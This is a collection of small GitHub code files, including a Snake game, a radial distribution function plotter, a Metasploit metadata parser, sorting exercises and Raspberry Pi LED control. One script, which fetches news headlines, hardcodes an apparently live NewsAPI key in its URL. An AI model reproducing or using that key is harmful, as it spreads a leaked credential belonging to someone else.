+{"seq_id":"40869064674","text":"from designer import *\nimport random\nimport time\nimport pygame\nfrom cisc108 import assert_equal\n\nSNAKE_SPEED_HORIZONTAL = 11.2\nSNAKE_SPEED_VERTICAL = 11.24\ninputs_list = []\ntimed = []\ncounter = []\nslowmotion_duration = []\nregenerating_slowmotion = []\n\nWorld = {'snake': [DesignerObject],\n 'snake_speed_horizontal': int,\n 'snake_speed_vertical': int,\n 'food': DesignerObject,\n 'border': DesignerObject,\n 'score': int,\n 'counter': DesignerObject,\n 'shield': DesignerObject,\n 'shielded': bool,\n 'shieldicon': DesignerObject,\n 'slowmotion': bool,\n 'slowmotion_icon': DesignerObject,\n 'slowmotion_time_left': int,\n 'slowmotion_timer': DesignerObject,\n 'instructions': [DesignerObject],\n 'obstacles': [DesignerObject],\n 'invisible_box': DesignerObject\n}\n\ndef create_world() -> World:\n '''\n creates a world with a snake segment as the head, snake vertical and horizontal speeds, a food for the snake,\n the border fo the game, score, and a counter. \n \n Args:\n None\n \n Returns:\n World: A World with a snake, snake speeds, food, border, score and a counter\n '''\n return {'snake': [create_snake()],\n 'snake_speed_horizontal': SNAKE_SPEED_HORIZONTAL,\n 'snake_speed_vertical': SNAKE_SPEED_VERTICAL,\n 'food': create_food(),\n 'border': rectangle('black', 784, 562, get_width()/2, get_height()/2, border = 10),\n 'score': 0,\n 'counter': text('black', '', 20, get_width()/2, 10),\n 'shield': None,\n 'shielded': False,\n 'shieldicon': None,\n 'slowmotion': False,\n 'slowmotion_icon': create_slowmotion_icon(),\n 'slowmotion_time_left': 4,\n 'slowmotion_timer': text('black', '4', 20, 625, 10),\n 'instructions': [text('black', 'Press WASD or Arrow Keys to move.',20, get_width()/2, 150),\n text('black', 'Press Space for Slowmotion.', 20, get_width()/2, 175)],\n 'obstacles': [],\n 'invisible_box': create_invisible_box()\n }\n\ndef create_snake() -> DesignerObject:\n '''\n creates a snake segment\n \n Args:\n None\n \n Returns:\n DesignerObject: An image of a snake segment\n '''\n snake = image('red square.jpeg')\n snake['scale_x'] = .02\n snake['scale_y'] = .02\n snake['anchor'] = 'center'\n return snake\n\ndef create_invisible_box() -> DesignerObject:\n '''\n creates a box that is not visible\n \n Args:\n None\n \n Returns:\n DesignerObject: A not visile box\n '''\n box = rectangle('green', 125, 125)\n box['visible'] = False\n return box\n \ndef moving_snake(world: World):\n '''\n causes the snake to move constantly, controls the invisible box to move constantly,\n will enable slowmotion if world['slowmotion'] == True\n \n Args:\n world(World): A World\n \n Returns:\n None\n '''\n if not world['slowmotion']:\n if world['snake_speed_vertical'] == 0:\n world['snake'][0]['x'] += world['snake_speed_horizontal']\n world['invisible_box']['x'] += world['snake_speed_horizontal']\n if world['snake_speed_horizontal'] == 0:\n world['snake'][0]['y'] += world['snake_speed_vertical']\n world['invisible_box']['y'] += world['snake_speed_vertical']\n elif world['slowmotion'] and len(timed)%2 == 0:\n if world['snake_speed_vertical'] == 0:\n world['snake'][0]['x'] += world['snake_speed_horizontal']\n world['invisible_box']['x'] += world['snake_speed_horizontal']\n if world['snake_speed_horizontal'] == 0:\n world['snake'][0]['y'] += world['snake_speed_vertical']\n world['invisible_box']['y'] += world['snake_speed_vertical']\n\ndef head_up(world: World):\n '''\n causes the snake to move upwards at the speed -snake_speed_vertical\n \n Args:\n world(World): A World\n \n Returns:\n None\n '''\n world['snake_speed_vertical'] = -SNAKE_SPEED_VERTICAL\n world['snake_speed_horizontal'] = 0\n\ndef head_down(world: World):\n '''\n causes the snake to move downwards at the speed snake_speed_vertical\n \n Args:\n world(World): A World\n \n Returns:\n None\n '''\n world['snake_speed_vertical'] = SNAKE_SPEED_VERTICAL\n world['snake_speed_horizontal'] = 0\n \ndef head_left(world: World):\n '''\n causes the snake to move left at the speed -snake_speed_horizontal\n \n Args:\n world(World): A World\n \n Returns:\n None\n '''\n world['snake_speed_horizontal'] = -SNAKE_SPEED_HORIZONTAL\n world['snake_speed_vertical'] = 0\n\ndef head_right(world: World):\n '''\n causes the snake to move right at the speed snake_speed_horizontal\n \n Args:\n world(World): A World\n \n Returns:\n None\n '''\n world['snake_speed_vertical'] = 0\n world['snake_speed_horizontal'] = SNAKE_SPEED_HORIZONTAL\n\ndef control_snake(world: World, key: str):\n '''\n controls the snake to move in the direction inputted on the keyboard using the arrow keys\n or WASD, also adds to a list to determine what inputs were made, and removes the instructions\n after an input.\n \n Args:\n world(World): A World\n \n key(str): A string key inputted when typing\n \n Returns:\n None\n '''\n if key == \"W\" or key == \"up\":\n if not inputs_list:\n head_up(world)\n inputs_list.append(1)\n world['instructions'].clear()\n elif world['snake_speed_vertical'] == 0:\n head_up(world)\n inputs_list.append(1)\n elif key == \"A\" or key == \"left\":\n if not inputs_list:\n head_left(world)\n inputs_list.append(2)\n world['instructions'].clear()\n elif world['snake_speed_horizontal'] == 0:\n head_left(world)\n inputs_list.append(2)\n elif key == \"S\" or key == \"down\":\n if not inputs_list:\n head_down(world)\n inputs_list.append(3)\n world['instructions'].clear()\n elif world['snake_speed_vertical'] == 0:\n head_down(world)\n inputs_list.append(3)\n elif key == \"D\" or key == \"right\":\n if not inputs_list:\n head_right(world)\n inputs_list.append(3)\n world['instructions'].clear()\n elif world['snake_speed_horizontal'] == 0:\n head_right(world)\n inputs_list.append(4)\n\ndef create_food() -> DesignerObject:\n '''\n creates a food DesignerObject\n \n Args:\n None\n \n Returns:\n DesignerObject: the image of a food\n '''\n food = image('red square.jpeg')\n food['scale_x'] = .025\n food['scale_y'] = .025\n food['anchor'] = 'topleft'\n food['x'] = random.randint(get_width()-784, 772)\n food['y'] = random.randint(get_height()-562, 560)\n return food\n\ndef teleport_food_new_segments_new_obstacles(world: World):\n '''\n teleports food after a food is eaten, adds 4 new segments behind the snake head and\n creates an obstacle 50% of the time after a food is eaten\n \n Args:\n world(World): A world\n \n Returns:\n None\n '''\n world['food']['anchor'] = 'topleft'\n if colliding(world['snake'][0], world['food']):\n new_segment = create_snake()\n move_behind(new_segment, world['snake'][-1])\n new_segment2 = create_snake()\n move_behind(new_segment2, new_segment)\n new_segment3 = create_snake()\n move_behind(new_segment3, new_segment2)\n new_segment2\n new_segment4 = create_snake()\n move_behind(new_segment4, new_segment3)\n world['snake'].append(new_segment)\n world['snake'].append(new_segment2)\n world['snake'].append(new_segment3)\n world['snake'].append(new_segment4)\n obstacle_creator = random.randint(0,1)\n if obstacle_creator == 0 and random.randint(0,1) == 1:\n world['obstacles'].append(create_obstacle1())\n while colliding_with_snake(world, world['obstacles'][-1]):\n world['obstacles'][-1]['x'] = random.randint(get_width()-780, 765)\n world['obstacles'][-1]['y'] = random.randint(get_height()-555, 545)\n if obstacle_creator == 1 and random.randint(0,1) == 1:\n world['obstacles'].append(create_obstacle2())\n while colliding_with_snake(world, world['obstacles'][-1]):\n world['obstacles'][-1]['x'] = random.randint(get_width()-780, 765)\n world['obstacles'][-1]['y'] = random.randint(get_height()-555, 545) \n while colliding_with_snake(world, world['food']):\n world['food']['x'] = random.randint(get_width()-784, 772)\n world['food']['y'] = random.randint(get_height()-562, 550)\n\n\ndef move_behind(snake_tail: DesignerObject, snake_head: DesignerObject):\n '''\n moves the snake tail (a new segment) behind the segment before it the snake_head\n \n Args:\n snake_tail(DesignerObject): the segment you want to move behind the previous one\n \n snake_head(DesignerObject): the segment in front of the segment you want to be placed behind\n \n Returns:\n None\n '''\n if inputs_list:\n if inputs_list[-1] == 1:\n snake_tail['y'] = snake_head['y'] + snake_head['height']\n snake_tail['x'] = snake_head['x']\n elif inputs_list[-1] == 2:\n snake_tail['y'] = snake_head['y']\n snake_tail['x'] = snake_head['x'] + snake_head['width']\n elif inputs_list[-1] == 3:\n snake_tail['y'] = snake_head['y'] - snake_head['height']\n snake_tail['x'] = snake_head['x']\n elif inputs_list[-1] == 4:\n snake_tail['y'] = snake_head['y']\n snake_tail['x'] = snake_head['x'] - snake_head['width']\n\ndef move_snake_segments(world: World):\n '''\n Takes the snake segment's location and moves the snake segment behind it into its own position\n \n Args:\n world(World): A world\n \n Returns:\n None\n '''\n snake_segments = world['snake']\n index = range(len(snake_segments))\n listx = []\n listy = []\n for segment in snake_segments:\n listx.append(segment['x'])\n listy.append(segment['y'])\n if not world['slowmotion']:\n for i in index:\n if i > 0:\n snake_segments[i]['x'] = listx[i-1]\n snake_segments[i]['y'] = listy[i-1]\n elif world['slowmotion'] and len(timed)%2 == 0:\n for i in index:\n if i > 0:\n snake_segments[i]['x'] = listx[i-1]\n snake_segments[i]['y'] = listy[i-1]\n\ndef timer():\n '''\n appends to a list for every update (30 in a second) and will clear out the the timer and inputs_list lists\n every 1/3 second (after 10 updates) leaving the inputs_list only with the last directional input\n \n Args:\n None\n \n Returns:\n None\n '''\n if inputs_list:\n timed.append(1)\n last_input = inputs_list[-1]\n if len(timed)%10 == 0 and inputs_list:\n inputs_list.clear()\n inputs_list.append(last_input)\n timed.clear()\n\ndef snake_hits_border(world: World) -> bool:\n '''\n checks if the snake head has collided with the border of the world\n \n Args:\n world(World): A world\n \n Returns:\n bool: whether the snake collided with the border or not\n '''\n collided = False\n snake_head = world['snake'][0]\n if snake_head['x'] > 772 or snake_head['x'] < get_width()-772 or snake_head['y'] > 562 or snake_head['y'] < get_height()-562:\n collided = True\n return collided\n\ndef snake_hits_self(world: World) -> bool:\n '''\n checks if the snake has collided with any of its segments, if the snake is shielded the snake will\n pass through a single segment and lose the shield\n \n Args:\n world(World): A world\n \n Returns:\n bool: whether the snake collided or not with itself\n '''\n collided = False\n snake_segments = world['snake']\n snake_head = snake_segments[0]\n for i in range(len(snake_segments)):\n if i > 0 and i > 1:\n if colliding(snake_head, snake_segments[i]):\n if not world['shielded']:\n collided = True\n elif world['shielded']:\n world['shieldicon']['scale'] = 0\n world['shielded'] = False\n return collided\n\ndef snake_hits_obstacle(world: World) -> bool:\n '''\n checks to see if the snake head has collided with an obstacle, if the snake is shielded\n the obstacle is removed and the snake loses its shield\n \n Args:\n world(World): A world\n \n Returns:\n bool: Whether the snake collided or not with an obstacle\n '''\n collided = False\n obstacle_list = world['obstacles']\n for i in range(len(obstacle_list)):\n hit_obstacle = obstacle_list[i]\n if colliding(world['snake'][0], hit_obstacle):\n if not world['shielded']:\n collided = True\n elif world['shielded']:\n world['shieldicon']['scale'] = 0\n world['shielded'] = False\n obstacle_list[i] = None\n return collided\n\ndef score_counter(world: World):\n '''\n counts the score for every second that passes\n \n Args:\n world(World): A world\n \n Returns:\n None\n '''\n counter.append(1)\n if len(counter)%30 == 0 and inputs_list:\n world['score'] = world['score'] + 1\n counter.clear()\n\ndef update_score(world: World):\n '''\n updates the score coaunter in world['counter'] with the score for the time and\n total length of the snake\n \n Args:\n world(World): A world\n \n Returns:\n None\n '''\n world['counter']['text'] = 'Time: ' + str(world['score']) + ' Length: ' + str(len(world['snake']))\n \ndef create_shield_powerup() -> DesignerObject:\n '''\n creates a shield powerup\n \n Args:\n None\n \n Returns\n DesignerObject: image of a shield\n '''\n shield = image('shield.png')\n shield['scale_x'] = .02\n shield['scale_y'] = .02\n return shield\n\ndef generate_shield(world: World):\n '''\n creates a shield in a random location with a 1/1500 chance that is rolled 30 times a second as long\n as the snake is not shielded and a shield doesn't currently exist\n \n Args:\n world(World): A world\n \n Returns:\n None\n '''\n if random.randint(0,1500) == 0 and not world['shielded'] and not world['shield'] and inputs_list:\n shield = create_shield_powerup()\n world['shield'] = shield\n world['shield']['x'] = random.randint(get_width()-784, 772)\n world['shield']['y'] = random.randint(get_height()-562, 560)\n while colliding_with_snake(world, world['shield']):\n world['shield']['x'] = random.randint(get_width()-784, 772)\n world['shield']['y'] = random.randint(get_height()-562, 560)\n\ndef create_shieldicon() -> DesignerObject:\n '''\n creates a shield icon at the top right ish area of the screen\n \n Args:\n None\n \n Returns:\n DesignerObject: A shield image at the top right ish area of the screen\n '''\n shieldicon = image('shield.png')\n shieldicon['scale_x'] = .03\n shieldicon['scale_y'] = .03\n shieldicon['x'] = 600\n shieldicon['y'] = 10\n return shieldicon\n\ndef shielded_snake(world: World):\n '''\n If the snake is shielded the shield icon will appear at the top right ish area of the screen\n \n Args:\n world(World): A world\n \n Returns:\n None\n '''\n if colliding(world['snake'][0], world['shield']):\n world['shielded'] = True\n world['shield'] = None\n world['shieldicon'] = create_shieldicon()\n \ndef create_slowmotion_icon() -> DesignerObject:\n '''\n creates an icon for the slowmotion timer\n \n Args:\n None\n \n Returns:\n DesignerObject: Image of the slowmotion clock icon\n '''\n slowmotion_icon = image('slow.png')\n slowmotion_icon['scale'] = .05\n slowmotion_icon['x'] = 625\n slowmotion_icon['y'] = 10\n return slowmotion_icon\n\ndef space_is_held(world: World) -> bool:\n '''\n determines if space is being held down\n \n Args:\n world(World): A world\n \n Returns:\n bool: Whether space is being held or not\n '''\n keys = pygame.key.get_pressed()\n return keys[pygame.K_SPACE]\n\ndef space_is_released(world: World) -> bool:\n '''\n determines if space is being released\n \n Args:\n world(World): A world\n \n Returns:\n bool: Whether space is being released or not\n '''\n keys = pygame.key.get_pressed()\n return not keys[pygame.K_SPACE]\n\ndef run_when_space_held(world: World):\n '''\n when space is being held down the list of the cooldown for the slowmtion will be cleared, a number will be appended\n to the slowmotion duration list, if the list length is between 0-30 the duration is 4 seconds , 30-60, 3 seconds, 60-90,\n 2 seconds, 90-119, 1 second, and 120, 0.\n If the list reaches 120 slowmtion ends.\n \n Args:\n world(World): A world\n \n Returns:\n None\n '''\n regenerating_slowmotion.clear()\n if world['slowmotion_time_left'] > 0 and len(slowmotion_duration) < 120:\n world['slowmotion'] = True\n slowmotion_duration.append(1)\n if len(slowmotion_duration) > 0 and len(slowmotion_duration) < 30:\n world['slowmotion_time_left'] = 4\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n if len(slowmotion_duration) >= 30 and len(slowmotion_duration) < 60:\n world['slowmotion_time_left'] = 3\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n if len(slowmotion_duration) >= 60 and len(slowmotion_duration) < 90:\n world['slowmotion_time_left'] = 2\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n if len(slowmotion_duration) >= 90 and len(slowmotion_duration) < 120:\n world['slowmotion_time_left'] = 1\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n elif len(slowmotion_duration) >= 120:\n world['slowmotion'] = False\n world['slowmotion_time_left'] = 0\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n\ndef run_when_space_released(world: World):\n '''\n when space is released slowmotion is not active and if slowmotion is used the regenerating list will have a number added to it.\n If the regenerating slowmotion list reaches a length of 300 (takes 5 seconds) the slowmotion duration list will start to decrease.\n If slowmotion duration was 120 slowmotion will become useable again and eventually reach \"4\" which is full duration. If slowmotion\n is used after regenerating starts 5 seconds must be waited for slowmotion to begin regenerating again.\n \n Args:\n world(World): A world\n \n Returns:\n None\n '''\n world['slowmotion'] = False\n if slowmotion_duration:\n if len(regenerating_slowmotion) < 150:\n regenerating_slowmotion.append(1)\n if len(regenerating_slowmotion) == 150:\n del slowmotion_duration[-1]\n if len(slowmotion_duration) > 0 and len(slowmotion_duration) < 15:\n world['slowmotion_time_left'] = 4\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n if len(slowmotion_duration) >= 15 and len(slowmotion_duration) < 30:\n world['slowmotion_time_left'] = 3\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n if len(slowmotion_duration) >= 30 and len(slowmotion_duration) < 60:\n world['slowmotion_time_left'] = 2\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n if len(slowmotion_duration) >= 60 and len(slowmotion_duration) <= 90:\n world['slowmotion_time_left'] = 1\n world['slowmotion_timer']['text'] = world['slowmotion_time_left']\n\ndef colliding_with_snake(world: World, designerobject: DesignerObject) -> bool:\n '''\n tests if a designerobject is colliding with an object in the world, including a snake segment\n an obstacle and the invisible box.\n \n Args:\n world(World): A world\n \n designerobject: A DesignerObject\n \n Returns:\n bool: if the DesignerObject was colliding with a snake segment, an obstacle, or the invisible box\n '''\n collided = False\n for segment in world['snake']:\n if colliding(designerobject, segment):\n collided = True\n if not designerobject in world['obstacles']:\n for obstacle in world['obstacles']:\n if colliding(designerobject, obstacle):\n collided = True\n if colliding(designerobject, world['invisible_box']):\n collided = True\n return collided\n \ndef create_obstacle1() -> DesignerObject:\n '''\n creates an obstacle that is wide\n \n Args:\n None\n \n Returns:\n DesignerObject: A wide obstacle\n '''\n obstacle = rectangle('black', 10, 30)\n obstacle['x'] = random.randint(get_width()-784, 772)\n obstacle['y'] = random.randint(get_height()-562, 550)\n return obstacle\n\ndef create_obstacle2() -> DesignerObject:\n '''\n creates a tall obstacle\n \n Args:\n None\n \n Returns:\n DesignerObject: A tall obstacle\n '''\n obstacle = rectangle('black', 30, 10)\n obstacle['x'] = random.randint(get_width()-784, 772)\n obstacle['y'] = random.randint(get_height()-562, 550)\n return obstacle\n\n \n \nwhen('starting', create_world)\nwhen('updating', moving_snake)\nwhen('typing', control_snake)\nwhen('updating', teleport_food_new_segments_new_obstacles)\nwhen('updating', move_snake_segments)\nwhen('updating', timer)\nwhen('updating', score_counter)\nwhen('updating', update_score)\nwhen('updating', generate_shield)\nwhen('updating', shielded_snake)\nwhen(space_is_held, run_when_space_held)\nwhen(space_is_released, run_when_space_released)\nwhen(snake_hits_border, pause)\nwhen(snake_hits_self, pause)\nwhen(snake_hits_obstacle, pause)\nstart()","repo_name":"Igneyy/Snake-Game","sub_path":"SnakeGame.py","file_name":"SnakeGame.py","file_ext":"py","file_size_in_byte":22472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"28250793675","text":"#!/usr/bin/python3\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\n\n#default parameters\nnpoints = 100 #numbers of shells\nlength = 15 #length maximum of pair distance \n\n#read coordination from POSCAR\nf = open(\"POSCAR\", \"r+\")\ntmp = f.readlines()\natom_num = int(tmp[6])\naxis = []\nfor i in [2,3,4]:\n axis.append(list(map(float, tmp[i].split())))\naxis = np.array(axis)\nscale_factor = float(tmp[1])\n\natoms = []\nfor i in range(8,8+atom_num):\n atoms.append(list(map(float, tmp[i].split())))\natoms = np.array(atoms)\nf.close()\n\n#get area of cell\ntmp = np.array([axis[0,1]*axis[1,2]-axis[0,2]*axis[1,1],axis[0,2]*axis[1,0]-\\\n axis[0,0]*axis[1,2],axis[0,0]*axis[1,1]-axis[0,1]*axis[1,0]])\narea = np.linalg.norm(tmp)\narea *= scale_factor**2\n\n#calculating rdf\ng = np.zeros(npoints)\ndelta = length/npoints #distance between adjent shells\n\nfor i in range(atom_num):\n for j in range(i+1,atom_num):\n a = atoms[i].tolist()\n b = atoms[j].tolist()\n for k in range(3):\n if a[k] - b[k]> 0.5:\n a[k] -= 1\n if a[k] - b[k]<-0.5:\n b[k] -= 1\n a = np.dot(a,axis)*scale_factor\n b = np.dot(b,axis)*scale_factor\n tmp = a-b\n tmp = np.linalg.norm(tmp[:2])\n num = int(tmp/delta)\n if num < npoints:\n g[num] += 2\n\n#averaging\nrho = atom_num/area\nfor i in range(npoints):\n g[i] /= 2*np.pi*(i+1)*delta*delta*rho\n\n#plot\nx = [delta*(i+1) for i in range(npoints)]\nplt.plot(x,g)\nplt.show()\n","repo_name":"ponychen123/MD","sub_path":"2drdf.py","file_name":"2drdf.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"32964585669","text":"import requests, json\n\nurl = ('http://newsapi.org/v2/top-headlines?'\n 'country=us&'\n 'apiKey=ff0d334a96854958932475eb3d5e381a')\n\nresponse = json.loads(requests.get(url).text)\nprint(response['totalResults'])\n\nfor author in response['articles']:\n print(author['author'])","repo_name":"ZZmarkus/DataSience","sub_path":"hw-ch05/getting data.py","file_name":"getting data.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"1893665262","text":"#!/usr/bin/env python\n'''\nfile: mtsp_json\nauthor: adh\ncreated_at: 6/14/21 12:03 PM\n'''\nimport pandas as pd\nimport logging\n\nlogger = logging.getLogger(__name__)\n\ndef json_to_df(path):\n logger.debug(f\"Reading json data from {path}\")\n df = pd.read_json(path,orient=\"index\")\n return df\n\n\ndef clean_df(df):\n logger.debug(\"Cleaning data\")\n cols = ['path', 'name', 'disclosure_date', 'type', 'description', 'platform', 'arch', 'mod_time']\n\n df = df.reset_index().rename(columns={'index': 'filepath'})\n df['mod_time'] = pd.to_datetime(df['mod_time'])\n\n # references is a column of lists\n # need to break it into one row per item in each list\n df2 = (pd.melt(df.references.apply(pd.Series).reset_index(),\n id_vars=['index'],\n value_name='references')\n .set_index(['index'])\n .drop('variable', axis=1)\n .dropna()\n .sort_index()\n )\n # merge the broken out rows back into the original data\n df3 = df[cols].join(df2).dropna()\n df3 = df3.rename(columns={'references': 'reference', })\n df3['reference'] = df3['reference'].str.strip()\n df3 = df3.set_index('reference')\n df3 = df3.sort_values(by=\"mod_time\",ascending=True)\n\n return df3\ndef only_cves(df):\n return filter_by_vulid(df, vulid_pfx='CVE')\n\ndef filter_by_vulid(df,vulid_pfx=\"CVE\"):\n logger.debug(f\"filtering for {vulid_pfx} records\")\n df2 = pd.DataFrame(df.loc[df.index.str.startswith(vulid_pfx)])\n return df2\n\n\ndef main():\n pass\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"CERTCC/metasploit_json_parser","sub_path":"mtsp_parser/mtsp_json.py","file_name":"mtsp_json.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"}
+{"seq_id":"21355215562","text":"#Calcular el número de divisores de un número, mayor o igual que la unidad.\n\nnumero = int(input('Introduzca un numero igual o mayor que 1: \\r\\n'))\n\nif numero >= 1:\n \n divisores = 0\n print (f'Los divisores de {numero}:')\n for divisor in range(1, numero + 1):\n if (numero % divisor) == 0:\n print(f'{divisor} es divisor')\n divisores += 1\n \nelse:\n print(f'ERROR. {numero} no es mayor o igual que 1')","repo_name":"smr1-Jaime/CLASE","sub_path":"python/batería ejercicios ester/Ej25.py","file_name":"Ej25.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"31841021092","text":"arr = [1,4,3,2]\n\n# Slicing\nprint(arr[::-1])\n\n# Using reversed()\nprint([i for i in reversed(arr)])\n\n# Brute Force\nindex = len(arr)\nnewList = [0]* index\nfor i in arr:\n index = index - 1\n newList[index] = i\nprint(newList)\n","repo_name":"SMony-L/HackerRank-Solution","sub_path":"HackerRank Solution/Data Structures/Arrays/Arrays - DS.py","file_name":"Arrays - DS.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"8226234782","text":"import asyncio\nimport json\nimport os\nimport datetime as dt\nimport data_hub\nimport saver\n\nclass Main:\n def __init__(self, config_file, data_hub, saver):\n if not os.path.exists(\"data\"):\n os.makedirs(\"data\")\n\n configs = get_configs_from(config_file)\n self.data_hub = data_hub\n self.saver = saver\n self.time_frame_size = configs[\"time_frame_size\"]\n self.time_from = date_from(configs[\"time_from\"])\n self.time_to = date_from(configs[\"time_to\"])\n self.data_type = configs[\"data_type\"]\n self.category = configs[\"category\"]\n\n async def execute(self):\n stations = await self.data_hub.stations_for(self.category)\n time_frames = time_frames_from(self.time_from, self.time_to, self.time_frame_size)\n\n for station in stations:\n for frame_index in range(len(time_frames) - 1):\n start_time = time_frames[frame_index]\n end_time = time_frames[frame_index + 1]\n records = await self.data_hub.records_for(self.category, station, self.data_type, start_time, end_time)\n self.saver.add(records)\n print_record(self.category, station, self.data_type, records, start_time, end_time)\n\n self.saver.save()\n\ndef get_configs_from(configs_file):\n with open(configs_file) as configfile:\n return json.loads(\"\".join(configfile.readlines()))\n\ndef time_frames_from(start, end, time_frame_size):\n actual = end\n while True:\n if actual <= start:\n start = actual\n break\n actual -= dt.timedelta(days=1)\n\n date_range = range(0, (end - start).days + 1, time_frame_size)\n return reverse([end - dt.timedelta(days=x) for x in date_range])\n\ndef reverse(elements):\n return elements[::-1]\n\ndef date_from(date_as_string):\n return dt.datetime.strptime(date_as_string, '%Y-%m-%d')\n\ndef print_record(category, station, data_type, records, start_time, end_time):\n print(\"obtained %i records for %s %s %s (%s -> %s)\" % (\n len(records),\n category,\n station[\"id\"],\n data_type,\n start_time.strftime('%Y-%m-%d'),\n end_time.strftime('%Y-%m-%d')))\n\nif __name__ == \"__main__\":\n data_hub = data_hub.DataHub()\n saver = saver.Saver('data/dataset.csv')\n\n app = Main(\"config.json\", data_hub, saver)\n asyncio.run(app.execute())\n","repo_name":"giacomo-montibeller/ml-workflow-data-layer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"38465926102","text":"from typing import List\n\n\ndef merge(left: List[int], right: List[int]) -> List[int]:\n result = []\n left_idx, right_idx = 0, 0\n\n while left_idx < len(left) and right_idx < len(right):\n if left[left_idx] < right[right_idx]:\n result.append(left[left_idx])\n left_idx += 1\n else:\n result.append(right[right_idx])\n right_idx += 1\n\n result.extend(left[left_idx:])\n result.extend(right[right_idx:])\n return result\n\n\ndef merge_sort(arr: List[int]) -> List[int]:\n if len(arr) < 2:\n return arr\n\n mid = len(arr) // 2\n left, right = merge_sort(arr[:mid]), merge_sort(arr[mid:])\n return merge(left, right)\n\n\ndef not_in_place_quick_sort(arr):\n if len(arr) < 2:\n return arr\n\n pivot = arr.pop()\n lower = [x for x in arr if x < pivot]\n greater = [x for x in arr if x > pivot]\n return not_in_place_quick_sort(lower) + [pivot] + not_in_place_quick_sort(greater)\n","repo_name":"alefeans/algs4","sub_path":"algs4/part1/week3/sorting.py","file_name":"sorting.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"10253585569","text":"import RPi.GPIO as GPIO\nfrom time import sleep\nimport adafruit_mcp3xxx.mcp3008 as MCP\nfrom adafruit_mcp3xxx.analog_in import AnalogIn\nimport busio\nimport digitalio\nimport board\nfrom leds import PwmPin\n\nr = 14 #GPIO14 r\nb = 15 #GPIO15 b\ng = 18 #GPIO18 g\nclk = 25 #GPIO25 clk\ndout = 8 #GPIO8 dout\ndin = 7#GPIO7 din\ncs_pin = 1 #GPIO1 cs\n\n# create the spi bus\nspi = busio.SPI(clock=clk, MISO=dout, MOSI=din)\n\n# create the cs (chip select)\ncs = digitalio.DigitalInOut(cs_pin)\n\n# create the mcp object\nmcp = MCP.MCP3008(spi, cs)\n\ndef remap_range(value, left_min, left_max, right_min, right_max):\n # this remaps a value from original (left) range to new (right) range\n # Figure out how 'wide' each range is\n left_span = left_max - left_min\n right_span = right_max - right_min\n\n # Convert the left range into a 0-1 range (int)\n valuescaled = int(value - left_min) / int(left_span)\n\n # Convert the 0-1 range into a value in the right range.\n return int(right_min + (valuescaled * right_span))\n\n\nclass Channel:\n _mcp_object = mcp\n channel_map = {\n \"0\": MCP.P0,\n \"1\": MCP.P1,\n \"2\": MCP.P2,\n \"3\": MCP.P3,\n \"4\": MCP.P4,\n \"5\": MCP.P5,\n \"6\": MCP.P6,\n \"7\": MCP.P7\n }\n def __init__(self, channel):\n self.channel = AnalogIn(self._mcp_object, self.channel_map[channel])\n\nclass AnalogPin:\n _last_value = 0\n _tolerance = 250\n def __init__(self, channel, pin):\n self.channel = channel\n self.pin = pin\n\n def value_change_check(self, current_value):\n return abs(current_value - self._last_value) > self._tolerance\n\n def check_value(self):\n current_value = self.channel.value\n if self.value_change_check(current_value):\n return remap_range(current_value, 0, 65535, 0, 100)\n return self._last_value\n\n def change_led(self):\n self.pin.pwm_cdc()\n\n\nif __name__ == \"__main__\":\n GPIO.setmode(GPIO.BCM)\n PinRed = PwmPin(r, \"out\")\n PinGreen = PwmPin(g, \"out\")\n PinBlue = PwmPin(b, \"out\")\n pins = {PinRed, PinGreen, PinBlue}","repo_name":"jonguz6/leds","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"18068183427","text":"import view\n\nfrom PIL import Image\nfrom pathlib import Path\n\n\nclass Color:\n def __init__(self, red, green, blue, alpha):\n self.red = red\n self.green = green\n self.blue = blue\n self.alpha = alpha\n\n\ndef GetFileName(path):\n return Path(path).stem\n\n\ndef GetFolderOfFile(path):\n return str(Path(path).parent) + \"/\"\n\n\ndef GetAbsoFolderOfFile(path):\n return str(Path(path).resolve())\n\n\ndef FileIsTxt(path):\n file = Path(path)\n if file.suffix == '.txt':\n view.CheckingType(file)\n return True\n else:\n view.Error(2)\n view.CheckingType(file)\n return False\n\n\ndef FileIsPng(path):\n file = Path(path)\n if file.suffix == '.png':\n view.CheckingType(file.suffix)\n return True\n else:\n view.Error(2)\n view.CheckingType(file.suffix)\n return False\n\n\ndef FindFile(path):\n view.CheckingFile(path)\n\n file = Path(path)\n if file.is_file():\n abso_path = str(file.resolve())\n view.FileFound(abso_path)\n return True\n else:\n view.Error(1)\n return False\n\n\ndef ImageOpened(path):\n return Image.open(path)\n","repo_name":"GregoryHue/EncodeTextImage","sub_path":"app/src/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
